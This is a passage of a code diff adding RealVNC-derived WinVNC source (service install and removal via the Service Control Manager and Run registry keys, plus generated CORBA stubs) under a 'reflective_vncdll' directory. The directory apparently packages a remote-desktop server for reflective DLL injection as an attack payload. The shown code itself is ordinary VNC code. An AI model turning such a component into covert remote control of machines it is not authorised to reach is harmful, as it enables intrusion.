(!ReportStatus( + SERVICE_RUNNING, // service state + NO_ERROR, // exit code + 0)) // wait hint + return; + + // RUN! XXX + //WinVNCAppMain(); + + // Mark that we're no longer running + g_servicethread = NULL; + + // Tell the service manager that we've stopped. + ReportStatus( + SERVICE_STOPPED, + g_error, + 0); +} + +// SERVICE STOP ROUTINE - post a quit message to the relevant thread +void ServiceStop() +{ + // Post a quit message to the main service thread + if (g_servicethread != NULL) + { + //vnclog.Print(LL_INTINFO, VNCLOG("quitting from ServiceStop\n")); + PostThreadMessage(g_servicethread, WM_QUIT, 0, 0); + } +} + +// SERVICE INSTALL ROUTINE +int +vncService::ReinstallService() { + RemoveService(1); + InstallService(0); + return 0; +} + +int +vncService::InstallService(BOOL silent) +{ + const int pathlength = 2048; + char path[pathlength]; + char servicecmd[pathlength]; + + // Get the filename of this executable + if (GetModuleFileName(NULL, path, pathlength-(strlen(winvncRunService)+2)) == 0) { + if (!silent) { + MessageBox(NULL, "Unable to install WinVNC service", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + return 0; + } + + // Append the service-start flag to the end of the path: + if (strlen(path) + 4 + strlen(winvncRunService) < pathlength) + sprintf(servicecmd, "\"%s\" %s", path, winvncRunService); + else + return 0; + + // How to add the WinVNC service depends upon the OS + switch (g_platform_id) + { + + // Windows 95/98 + case VER_PLATFORM_WIN32_WINDOWS: + { + // Locate the RunService registry entry + HKEY runservices; + if (RegCreateKey(HKEY_LOCAL_MACHINE, + "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", + &runservices) != ERROR_SUCCESS) + { + if (!silent) { + MessageBox(NULL, "The SCM could not be contacted - the WinVNC service was not installed", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + break; + } + + // Attempt to add a WinVNC key + if (RegSetValueEx(runservices, szAppName, 0, REG_SZ, (unsigned char *)servicecmd, strlen(servicecmd)+1) != ERROR_SUCCESS) + { + RegCloseKey(runservices); + if (!silent) { + MessageBox(NULL, "The WinVNC service could not be registered", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + break; + } + + RegCloseKey(runservices); + + // We have successfully installed the service! + vncTimedMsgBox::Do( + "The WinVNC service was successfully installed\n" + "The service will start now and will automatically\n" + "be run the next time this machine is reset", + szAppName, + MB_ICONINFORMATION | MB_OK); + + // Run the service... + STARTUPINFO si; + si.cb = sizeof(si); + si.cbReserved2 = 0; + si.lpReserved = NULL; + si.lpReserved2 = NULL; + si.dwFlags = 0; + si.lpTitle = NULL; + PROCESS_INFORMATION pi; + if (!CreateProcess( + NULL, servicecmd, // Program name & path + NULL, NULL, // Security attributes + FALSE, // Inherit handles? + NORMAL_PRIORITY_CLASS, // Extra startup flags + NULL, // Environment table + NULL, // Current directory + &si, + &pi + )) + { + if(!silent) { + MessageBox(NULL, "The WinVNC service failed to start", + szAppName, MB_ICONSTOP | MB_OK); + } + break; + } + } + break; + + // Windows NT + case VER_PLATFORM_WIN32_NT: + { + SC_HANDLE hservice; + SC_HANDLE hsrvmanager; + + // Open the default, local Service Control Manager database + hsrvmanager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (hsrvmanager == NULL) + { + if (!silent) { + MessageBox(NULL, + "The Service Control Manager could not be contacted - the WinVNC service was not registered", + szAppName, + MB_ICONEXCLAMATION | MB_OK); + } + break; + } + + // Create an entry for the WinVNC service + hservice = CreateService( + hsrvmanager, // SCManager database + VNCSERVICENAME, // name of service + VNCSERVICEDISPLAYNAME, // name to display + SERVICE_ALL_ACCESS, // desired access + SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, + // service type + SERVICE_AUTO_START, // start type + SERVICE_ERROR_NORMAL, // error control type + servicecmd, // service's binary + NULL, // no load ordering group + NULL, // no tag identifier + VNCDEPENDENCIES, // dependencies + NULL, // LocalSystem account + NULL); // no password + if (hservice == NULL) + { + DWORD error = GetLastError(); + if (!silent) { + if (error == ERROR_SERVICE_EXISTS) { + MessageBox(NULL, + "The WinVNC service is already registered", + szAppName, + MB_ICONEXCLAMATION | MB_OK); + } else { + MessageBox(NULL, + "The WinVNC service could not be registered", + szAppName, + MB_ICONEXCLAMATION | MB_OK); + } + } + CloseServiceHandle(hsrvmanager); + break; + } + CloseServiceHandle(hsrvmanager); + CloseServiceHandle(hservice); + + // Now install the servicehelper registry setting... + // Locate the RunService registry entry + HKEY runapps; + if (RegCreateKey(HKEY_LOCAL_MACHINE, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + &runapps) != ERROR_SUCCESS) + { + if (!silent) { + MessageBox(NULL, "WARNING:Unable to install the ServiceHelper hook\nGlobal user-specific registry settings will not be loaded", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } else { + char servicehelpercmd[pathlength]; + + // Append the service-helper-start flag to the end of the path: + if (strlen(path) + 4 + strlen(winvncRunServiceHelper) < pathlength) + sprintf(servicehelpercmd, "\"%s\" %s", path, winvncRunServiceHelper); + else + return 0; + + // Add the VNCserviceHelper entry + if (RegSetValueEx(runapps, szAppName, 0, REG_SZ, + (unsigned char *)servicehelpercmd, strlen(servicehelpercmd)+1) != ERROR_SUCCESS) + { + if (!silent) { + MessageBox(NULL, "WARNING:Unable to install the ServiceHelper hook\nGlobal user-specific registry settings will not be loaded", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } + RegCloseKey(runapps); + } + + // Everything went fine + vncTimedMsgBox::Do( + "The WinVNC service was successfully registered\n" + "The service may be started from the Control Panel, and will\n" + "automatically be run the next time this machine is reset", + szAppName, + MB_ICONINFORMATION | MB_OK); + } + break; + }; + + return 0; +} + +// SERVICE REMOVE ROUTINE +int +vncService::RemoveService(BOOL silent) +{ + // How to remove the WinVNC service depends upon the OS + switch (g_platform_id) + { + + // Windows 95/98 + case VER_PLATFORM_WIN32_WINDOWS: + { + // Locate the RunService registry entry + HKEY runservices; + if (RegOpenKey(HKEY_LOCAL_MACHINE, + "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", + &runservices) != ERROR_SUCCESS) + { + if (!silent) { + MessageBox(NULL, "The Service Control Manager could not be contacted - the WinVNC service was not unregistered", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } + else + { + // Attempt to delete the WinVNC key + if (RegDeleteValue(runservices, szAppName) != ERROR_SUCCESS) + { + RegCloseKey(runservices); + if (!silent) { + MessageBox(NULL, "The WinVNC service could not be unregistered", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } + + RegCloseKey(runservices); + break; + } + + // Try to kill any running copy of WinVNC + if (!KillRunningCopy()) + { + if (!silent) { + MessageBox(NULL, + "The WinVNC service could not be contacted", + szAppName, + MB_ICONEXCLAMATION | MB_OK); + } + break; + } + + // We have successfully removed the service! + vncTimedMsgBox::Do("The WinVNC service has been unregistered", szAppName, MB_ICONINFORMATION | MB_OK); + } + break; + + // Windows NT + case VER_PLATFORM_WIN32_NT: + { + SC_HANDLE hservice; + SC_HANDLE hsrvmanager; + + // Attempt to remove the service-helper hook + HKEY runapps; + if (RegOpenKey(HKEY_LOCAL_MACHINE, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + &runapps) == ERROR_SUCCESS) + { + // Attempt to delete the WinVNC key + if (RegDeleteValue(runapps, szAppName) != ERROR_SUCCESS) + { + if (!silent) { + MessageBox(NULL, "WARNING:The ServiceHelper hook entry could not be removed from the registry", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } + RegCloseKey(runapps); + } + + // Open the SCM + hsrvmanager = OpenSCManager( + NULL, // machine (NULL == local) + NULL, // database (NULL == default) + SC_MANAGER_ALL_ACCESS // access required + ); + if (hsrvmanager) + { + hservice = OpenService(hsrvmanager, VNCSERVICENAME, SERVICE_ALL_ACCESS); + + if (hservice != NULL) + { + SERVICE_STATUS status; + + // Try to stop the WinVNC service + if (ControlService(hservice, SERVICE_CONTROL_STOP, &status)) + { + while(QueryServiceStatus(hservice, &status)) + { + if (status.dwCurrentState == SERVICE_STOP_PENDING) + Sleep(1000); + else + break; + } + + if (status.dwCurrentState != SERVICE_STOPPED) { + if (!silent) { + MessageBox(NULL, "The WinVNC service could not be stopped", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } + } + + // Now remove the service from the SCM + if(DeleteService(hservice)) { + vncTimedMsgBox::Do("The WinVNC service has been unregistered", szAppName, MB_ICONINFORMATION | MB_OK); + } else { + DWORD error = GetLastError(); + if (error == ERROR_SERVICE_MARKED_FOR_DELETE) { + if (!silent) + MessageBox(NULL, "The WinVNC service is already marked to be unregistered", szAppName, MB_ICONEXCLAMATION | MB_OK); + } else { + if (!silent) + MessageBox(NULL, "The WinVNC service could not be unregistered", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + } + CloseServiceHandle(hservice); + } + else if (!silent) + MessageBox(NULL, "The WinVNC service could not be found", szAppName, MB_ICONEXCLAMATION | MB_OK); + + CloseServiceHandle(hsrvmanager); + } + else if (!silent) + MessageBox(NULL, "The Service Control Manager could not be contacted - the WinVNC service was not unregistered", szAppName, MB_ICONEXCLAMATION | MB_OK); + } + break; + }; + return 0; +} + +// USEFUL SERVICE SUPPORT ROUTINES + +// Service control routine +void WINAPI ServiceCtrl(DWORD ctrlcode) +{ + // What control code have we been sent? + switch(ctrlcode) + { + + case SERVICE_CONTROL_STOP: + // STOP : The service must stop + g_srvstatus.dwCurrentState = SERVICE_STOP_PENDING; + ServiceStop(); + break; + + case SERVICE_CONTROL_INTERROGATE: + // QUERY : Service control manager just wants to know our state + break; + + default: + // Control code not recognised + break; + + } + + // Tell the control manager what we're up to. + ReportStatus(g_srvstatus.dwCurrentState, NO_ERROR, 0); +} + +// Service manager status reporting +BOOL ReportStatus(DWORD state, + DWORD exitcode, + DWORD waithint) +{ + static DWORD checkpoint = 1; + BOOL result = TRUE; + + // If we're in the start state then we don't want the control manager + // sending us control messages because they'll confuse us. + if (state == SERVICE_START_PENDING) + g_srvstatus.dwControlsAccepted = 0; + else + g_srvstatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; + + // Save the new status we've been given + g_srvstatus.dwCurrentState = state; + g_srvstatus.dwWin32ExitCode = exitcode; + g_srvstatus.dwWaitHint = waithint; + + // Update the checkpoint variable to let the SCM know that we + // haven't died if requests take a long time + if ((state == SERVICE_RUNNING) || (state == SERVICE_STOPPED)) + g_srvstatus.dwCheckPoint = 0; + else + g_srvstatus.dwCheckPoint = checkpoint++; + + // Tell the SCM our new status + if (!(result = SetServiceStatus(g_hstatus, &g_srvstatus))) + LogErrorMsg("SetServiceStatus failed"); + + return result; +} + +// Error reporting +void LogErrorMsg(char *message) +{ + char msgbuff[256]; + HANDLE heventsrc; + char * strings[2]; + + // Save the error code + g_error = GetLastError(); + + // Use event logging to log the error + heventsrc = RegisterEventSource(NULL, VNCSERVICENAME); + + _snprintf(msgbuff, 256, "%s error: %d", VNCSERVICENAME, g_error); + strings[0] = msgbuff; + strings[1] = message; + + if (heventsrc != NULL) + { + MessageBeep(MB_OK); + + ReportEvent( + heventsrc, // handle of event source + EVENTLOG_ERROR_TYPE, // event type + 0, // event category + 0, // event ID + NULL, // current user's SID + 2, // strings in 'strings' + 0, // no bytes of raw data + (const char **)strings, // array of error strings + NULL); // no raw data + + DeregisterEventSource(heventsrc); + } +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncservice.h b/external/source/reflective_vncdll/winvnc/winvnc/vncservice.h new file mode 100644 index 0000000000..c9888fb09c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncservice.h @@ -0,0 +1,125 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncService + +// SERVICE-MODE CODE + +// This class provides access to service-oriented routines, under both +// Windows NT and Windows 95. Some routines only operate under one +// OS, others operate under any OS. + +class vncService; + +#if (!defined(_WINVNC_VNCSERVICE)) +#define _WINVNC_VNCSERVICE + +#include "stdhdrs.h" + +// The NT-specific code wrapper class +class vncService +{ +public: + vncService(); + + // SERVICE INSTALL & START FUNCTIONS + + // Routine called by WinMain to cause WinVNC to be installed + // as a service. + static int WinVNCServiceMain(); + + // Routine to install the WinVNC service on the local machine + static int InstallService(BOOL silent=0); + static int ReinstallService(); + + // Routine to remove the WinVNC service from the local machine + static int RemoveService(BOOL silent=0); + + // SERVICE SUPPORT FUNCTIONS + + // Routine to establish and return the currently logged in user name + static BOOL CurrentUser(char *buffer, UINT size); + + // Routine to post a message to the currently running WinVNC server + // to pass it a handle to the current user + static BOOL PostUserHelperMessage(); + // Routine to process a user helper message + static BOOL ProcessUserHelperMessage(WPARAM wParam, LPARAM lParam); + + // Routines to establish which OS we're running on + static BOOL IsWin95(); + static BOOL IsWinNT(); + static DWORD VersionMajor(); + static DWORD VersionMinor(); + + // Routine to establish whether the current instance is running + // as a service or not + static BOOL RunningAsService(); + + // Routine to kill any other running copy of WinVNC + static BOOL KillRunningCopy(); + + // Routine to set the current thread into the given desktop + static BOOL SelectHDESK(HDESK newdesktop); + + // Routine to set the current thread into the named desktop, + // or the input desktop if no name is given + static BOOL SelectDesktop(char *name); + + // Routine to switch the service process across to the currently + // visible Window Station and back to its home window station again + static BOOL SelectInputWinStation(); + static void SelectHomeWinStation(); + + // Routine to establish whether the current thread desktop is the + // current user input one + static BOOL InputDesktopSelected(); + + // Routine to fake a CtrlAltDel to winlogon when required. + // *** This is a nasty little hack... + static BOOL SimulateCtrlAltDel(); + + // Routine to lock the workstation. Returns TRUE if successful. + // Main cause of failure will be when locking is not supported + static BOOL LockWorkstation(); + + // Routine to make any currently running version of WinVNC show its + // Properties dialog, to allow the user to make changes to their settings + static BOOL ShowProperties(); + + // Routine to make any currently running version of WinVNC show the + // Properties dialog for the default settings, so the user can make changes + static BOOL ShowDefaultProperties(); + + // Routine to make the an already running copy of WinVNC bring up its + // About box so you can check the version! + static BOOL ShowAboutBox(); + + // Routine to make an already running copy of WinVNC form an outgoing + // connection to a new VNC client + static BOOL PostAddNewClient(unsigned long ipaddress); +}; + +#endif \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncsk.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncsk.cpp new file mode 100644 index 0000000000..27be0d8735 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncsk.cpp @@ -0,0 +1,1249 @@ +// This file is generated by omniidl (C++ backend)- omniORB_3_0. Do not edit. + +#include "vnc.hh" +#include + +static const char* _0RL_library_version = omniORB_3_0; + +_init_in_def_( const CORBA::Short vnc::protocolMajorVersion = 3; ) + +_init_in_def_( const CORBA::UShort vnc::FLASHPORT = 5400; ) + +_init_in_def_( const CORBA::UShort vnc::CLIENTPORT = 5500; ) + +_init_in_def_( const CORBA::UShort vnc::SERVERPORT = 5900; ) + +_init_in_def_( const CORBA::UShort vnc::DISPLAY_DEVICE = 1; ) + +_init_in_def_( const CORBA::UShort vnc::KEYBOARD_DEVICE = 2; ) + +_init_in_def_( const CORBA::UShort vnc::POINTER_DEVICE = 4; ) + +_init_in_def_( const CORBA::UShort vnc::ALL_DEVICES = 7; ) + +CORBA::Exception::insertExceptionToAny vnc::connectionFailed::insertToAnyFn = 0; +CORBA::Exception::insertExceptionToAnyNCP vnc::connectionFailed::insertToAnyFnNCP = 0; + +vnc::connectionFailed::connectionFailed(const vnc::connectionFailed& _s) : CORBA::UserException(_s) +{ + +} + +vnc::connectionFailed& vnc::connectionFailed::operator=(const vnc::connectionFailed& _s) +{ + ((CORBA::UserException*) this)->operator=(_s); + + return *this; +} + +vnc::connectionFailed::~connectionFailed() {} + +void vnc::connectionFailed::_raise() { throw *this; } + +vnc::connectionFailed* vnc::connectionFailed::_downcast(CORBA::Exception* _e) { + return (connectionFailed*) _NP_is_a(_e, "Exception/UserException/vnc::connectionFailed"); +} + +const vnc::connectionFailed* vnc::connectionFailed::_downcast(const CORBA::Exception* _e) { + return (const connectionFailed*) _NP_is_a(_e, "Exception/UserException/vnc::connectionFailed"); +} + +const char* vnc::connectionFailed::_PD_repoId = "IDL:vnc/connectionFailed:1.0"; + +CORBA::Exception* vnc::connectionFailed::_NP_duplicate() const { + return new connectionFailed(*this); +} + +const char* vnc::connectionFailed::_NP_typeId() const { + return "Exception/UserException/vnc::connectionFailed"; +} + +const char* vnc::connectionFailed::_NP_repoId(int* _size) const { + *_size = sizeof("IDL:vnc/connectionFailed:1.0"); + return "IDL:vnc/connectionFailed:1.0"; +} + +void vnc::connectionFailed::_NP_marshal(NetBufferedStream& _s) const { + *this >>= _s; +} + +void vnc::connectionFailed::_NP_marshal(MemBufferedStream& _s) const { + *this >>= _s; +} + +size_t +vnc::clientInfo::_NP_alignedSize(size_t _initialoffset) const +{ + CORBA::ULong _msgsize = _initialoffset; + _msgsize = omni::align_to(_msgsize, omni::ALIGN_2) + 2; + + _msgsize = clientAddress._NP_alignedSize(_msgsize); + + _msgsize = omni::align_to(_msgsize, omni::ALIGN_2) + 2; + + _msgsize += 1; + + _msgsize += 1; + + _msgsize += 1; + + _msgsize += 1; + + return _msgsize; +} + +void +vnc::clientInfo::operator>>= (NetBufferedStream &_n) const +{ + clientId >>= _n; + clientAddress >>= _n; + capabilities >>= _n; + isTeleport >>= _n; + pointerEnabled >>= _n; + keyboardEnabled >>= _n; + closePending >>= _n; + +} + +void +vnc::clientInfo::operator<<= (NetBufferedStream &_n) +{ + clientId <<= _n; + clientAddress <<= _n; + capabilities <<= _n; + isTeleport <<= _n; + pointerEnabled <<= _n; + keyboardEnabled <<= _n; + closePending <<= _n; + +} + +void +vnc::clientInfo::operator>>= (MemBufferedStream &_n) const +{ + clientId >>= _n; + clientAddress >>= _n; + capabilities >>= _n; + isTeleport >>= _n; + pointerEnabled >>= _n; + keyboardEnabled >>= _n; + closePending >>= _n; + +} + +void +vnc::clientInfo::operator<<= (MemBufferedStream &_n) +{ + clientId <<= _n; + clientAddress <<= _n; + capabilities <<= _n; + isTeleport <<= _n; + pointerEnabled <<= _n; + keyboardEnabled <<= _n; + closePending <<= _n; + +} + +vnc::controller_ptr vnc::controller_Helper::_nil() { + return vnc::controller::_nil(); +} + +CORBA::Boolean vnc::controller_Helper::is_nil(vnc::controller_ptr p) { + return CORBA::is_nil(p); + +} + +void vnc::controller_Helper::release(vnc::controller_ptr p) { + CORBA::release(p); +} + +void vnc::controller_Helper::duplicate(vnc::controller_ptr p) { + if( p && !p->_NP_is_nil() ) omni::duplicateObjRef(p); +} + +size_t vnc::controller_Helper::NP_alignedSize(vnc::controller_ptr obj, size_t offset) { + return vnc::controller::_alignedSize(obj, offset); +} + +void vnc::controller_Helper::marshalObjRef(vnc::controller_ptr obj, NetBufferedStream& s) { + vnc::controller::_marshalObjRef(obj, s); +} + +vnc::controller_ptr vnc::controller_Helper::unmarshalObjRef(NetBufferedStream& s) { + return vnc::controller::_unmarshalObjRef(s); +} + +void vnc::controller_Helper::marshalObjRef(vnc::controller_ptr obj, MemBufferedStream& s) { + vnc::controller::_marshalObjRef(obj, s); +} + +vnc::controller_ptr vnc::controller_Helper::unmarshalObjRef(MemBufferedStream& s) { + return vnc::controller::_unmarshalObjRef(s); +} + +vnc::controller_ptr +vnc::controller::_duplicate(vnc::controller_ptr obj) +{ + if( obj && !obj->_NP_is_nil() ) omni::duplicateObjRef(obj); + + return obj; +} + +vnc::controller_ptr +vnc::controller::_narrow(CORBA::Object_ptr obj) +{ + if( !obj || obj->_NP_is_nil() || obj->_NP_is_pseudo() ) return _nil(); + _ptr_type e = (_ptr_type) obj->_PR_getobj()->_realNarrow(_PD_repoId); + return e ? e : _nil(); +} + +vnc::controller_ptr +vnc::controller::_nil() +{ + static _objref_controller* _the_nil_ptr = 0; + if( !_the_nil_ptr ) { + omni::nilRefLock().lock(); + if( !_the_nil_ptr ) _the_nil_ptr = new _objref_controller; + omni::nilRefLock().unlock(); + } + return _the_nil_ptr; +} + +const char* vnc::controller::_PD_repoId = "IDL:vnc/controller:1.0"; + +vnc::_objref_controller::~_objref_controller() {} + +vnc::_objref_controller::_objref_controller(const char* mdri, + IOP::TaggedProfileList* p, omniIdentity* id, omniLocalIdentity* lid) : + + omniObjRef(vnc::controller::_PD_repoId, mdri, p, id, lid) +{ + _PR_setobj(this); +} + +void* +vnc::_objref_controller::_ptrToObjRef(const char* id) +{ + if( !strcmp(id, CORBA::Object::_PD_repoId) ) + return (CORBA::Object_ptr) this; + if( !strcmp(id, vnc::controller::_PD_repoId) ) + return (vnc::controller_ptr) this; + + return 0; +} + +// Proxy call descriptor class. Mangled signature: +// void_o_cstring_o_cunsigned_pshort +class _0RL_cd_22cbff1b827fd898_00000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_00000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway, char *& a_0, CORBA::UShort& a_1): + omniCallDescriptor(lcfn, op, oplen, oneway), + arg_0(a_0), + arg_1(a_1) {} + + virtual void unmarshalReturnedValues(GIOP_C&); + + char *& arg_0; + CORBA::UShort& arg_1; + +}; + +void _0RL_cd_22cbff1b827fd898_00000000::unmarshalReturnedValues(GIOP_C& giop_client) +{ + char* tmp_0 = 0; + + { + CORBA::String_member _0RL_str_tmp; + _0RL_str_tmp <<= giop_client; + tmp_0 = _0RL_str_tmp._ptr; + _0RL_str_tmp._ptr = 0; + } + arg_1 <<= giop_client; + + arg_0 = tmp_0; + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_10000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_00000000* tcd = (_0RL_cd_22cbff1b827fd898_00000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->getServerAddress(tcd->arg_0, tcd->arg_1); +} + +void vnc::_objref_controller::getServerAddress(CORBA::String_out address, CORBA::UShort& port) +{ + _0RL_cd_22cbff1b827fd898_00000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_10000000, "getServerAddress", 17, 0, address, port); + + _invoke(_call_desc); + +} + +// Proxy call descriptor class. Mangled signature: +// void_o_cunsigned_pshort_o_cunsigned_pshort_o_cunsigned_pshort +class _0RL_cd_22cbff1b827fd898_20000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_20000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway, CORBA::UShort& a_0, CORBA::UShort& a_1, CORBA::UShort& a_2): + omniCallDescriptor(lcfn, op, oplen, oneway), + arg_0(a_0), + arg_1(a_1), + arg_2(a_2) {} + + virtual void unmarshalReturnedValues(GIOP_C&); + + CORBA::UShort& arg_0; + CORBA::UShort& arg_1; + CORBA::UShort& arg_2; + +}; + +void _0RL_cd_22cbff1b827fd898_20000000::unmarshalReturnedValues(GIOP_C& giop_client) +{ + + arg_0 <<= giop_client; + arg_1 <<= giop_client; + arg_2 <<= giop_client; + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_30000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_20000000* tcd = (_0RL_cd_22cbff1b827fd898_20000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->getDesktopSize(tcd->arg_0, tcd->arg_1, tcd->arg_2); +} + +void vnc::_objref_controller::getDesktopSize(CORBA::UShort& width, CORBA::UShort& height, CORBA::UShort& depth) +{ + _0RL_cd_22cbff1b827fd898_20000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_30000000, "getDesktopSize", 15, 0, width, height, depth); + + _invoke(_call_desc); + +} + +// Proxy call descriptor class. Mangled signature: +// _cunsigned_pshort_i_cstring_i_cunsigned_pshort_i_cunsigned_pshort_i_cboolean_i_cboolean_e_cvnc_mconnectionFailed +class _0RL_cd_22cbff1b827fd898_40000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_40000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway, const char* a_0, CORBA::UShort a_1, CORBA::UShort a_2, CORBA::Boolean a_3, CORBA::Boolean a_4): + omniCallDescriptor(lcfn, op, oplen, oneway), + arg_0(a_0), + arg_1(a_1), + arg_2(a_2), + arg_3(a_3), + arg_4(a_4) {} + + virtual CORBA::ULong alignedSize(CORBA::ULong size_in); + virtual void marshalArguments(GIOP_C&); + + virtual void unmarshalReturnedValues(GIOP_C&); + + virtual void userException(GIOP_C&, const char*); + + inline CORBA::UShort result() { return pd_result; } + const char* arg_0; + CORBA::UShort arg_1; + CORBA::UShort arg_2; + CORBA::Boolean arg_3; + CORBA::Boolean arg_4; + CORBA::UShort pd_result; +}; + +CORBA::ULong _0RL_cd_22cbff1b827fd898_40000000::alignedSize(CORBA::ULong msgsize) +{ + msgsize = omni::align_to(msgsize, omni::ALIGN_4) + 4; + msgsize += ((const char*) arg_0) ? strlen((const char*) arg_0) + 1 : 1; + + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + msgsize += 1; + + msgsize += 1; + + return msgsize; +} + +void _0RL_cd_22cbff1b827fd898_40000000::marshalArguments(GIOP_C& giop_client) +{ + { + CORBA::ULong _len = (((const char*) arg_0)? strlen((const char*) arg_0) + 1 : 1); + + _len >>= giop_client; + if (_len > 1) + giop_client.put_char_array((const CORBA::Char *)((const char*)arg_0),_len); + else { + if ((const char*) arg_0 == 0 && omniORB::traceLevel > 1) + _CORBA_null_string_ptr(0); + CORBA::Char('\0') >>= giop_client; + } + } + arg_1 >>= giop_client; + arg_2 >>= giop_client; + arg_3 >>= giop_client; + arg_4 >>= giop_client; + +} + +void _0RL_cd_22cbff1b827fd898_40000000::unmarshalReturnedValues(GIOP_C& giop_client) +{ + + pd_result <<= giop_client; + +} + +void _0RL_cd_22cbff1b827fd898_40000000::userException(GIOP_C& giop_client, const char* repoId) +{ + if( strcmp(repoId, vnc::connectionFailed::_PD_repoId) == 0 ) { + vnc::connectionFailed _ex; + _ex <<= giop_client; + giop_client.RequestCompleted(); + throw _ex; + } + + else { + giop_client.RequestCompleted(1); + throw CORBA::MARSHAL(0, CORBA::COMPLETED_MAYBE); + } +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_50000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_40000000* tcd = (_0RL_cd_22cbff1b827fd898_40000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + tcd->pd_result = impl->initiateConnection(tcd->arg_0, tcd->arg_1, tcd->arg_2, tcd->arg_3, tcd->arg_4); +} + +CORBA::UShort vnc::_objref_controller::initiateConnection(const char* clientAddress, CORBA::UShort port, CORBA::UShort capability, CORBA::Boolean enableInputs, CORBA::Boolean isTeleport) +{ + _0RL_cd_22cbff1b827fd898_40000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_50000000, "initiateConnection", 19, 0, clientAddress, port, capability, enableInputs, isTeleport); + + _invoke(_call_desc); + return _call_desc.result(); +} + +// Proxy call descriptor class. Mangled signature: +// void_i_cunsigned_pshort +class _0RL_cd_22cbff1b827fd898_60000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_60000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway, CORBA::UShort a_0): + omniCallDescriptor(lcfn, op, oplen, oneway), + arg_0(a_0) {} + + virtual CORBA::ULong alignedSize(CORBA::ULong size_in); + virtual void marshalArguments(GIOP_C&); + + CORBA::UShort arg_0; + +}; + +CORBA::ULong _0RL_cd_22cbff1b827fd898_60000000::alignedSize(CORBA::ULong msgsize) +{ + msgsize = omni::align_to(msgsize, omni::ALIGN_2) + 2; + + return msgsize; +} + +void _0RL_cd_22cbff1b827fd898_60000000::marshalArguments(GIOP_C& giop_client) +{ + arg_0 >>= giop_client; + +} + +// Local call call-back function. +static void +_0RL_lcfn_22cbff1b827fd898_70000000(omniCallDescriptor* cd, omniServant* svnt) +{ + _0RL_cd_22cbff1b827fd898_60000000* tcd = (_0RL_cd_22cbff1b827fd898_60000000*) cd; + vnc::_impl_controller* impl = (vnc::_impl_controller*) svnt->_ptrToInterface(vnc::controller::_PD_repoId); + impl->closeConnection(tcd->arg_0); +} + +void vnc::_objref_controller::closeConnection(CORBA::UShort connectionId) +{ + _0RL_cd_22cbff1b827fd898_60000000 _call_desc(_0RL_lcfn_22cbff1b827fd898_70000000, "closeConnection", 16, 1/*oneway*/, connectionId); + + _invoke(_call_desc); + +} + +// Proxy call descriptor class. Mangled signature: +// _cunsigned_plong +class _0RL_cd_22cbff1b827fd898_80000000 + : public omniCallDescriptor +{ +public: + inline _0RL_cd_22cbff1b827fd898_80000000(LocalCallFn lcfn, const char* op, size_t oplen, _CORBA_Boolean oneway): + omniCallDescriptor(lcfn, op, oplen, oneway) 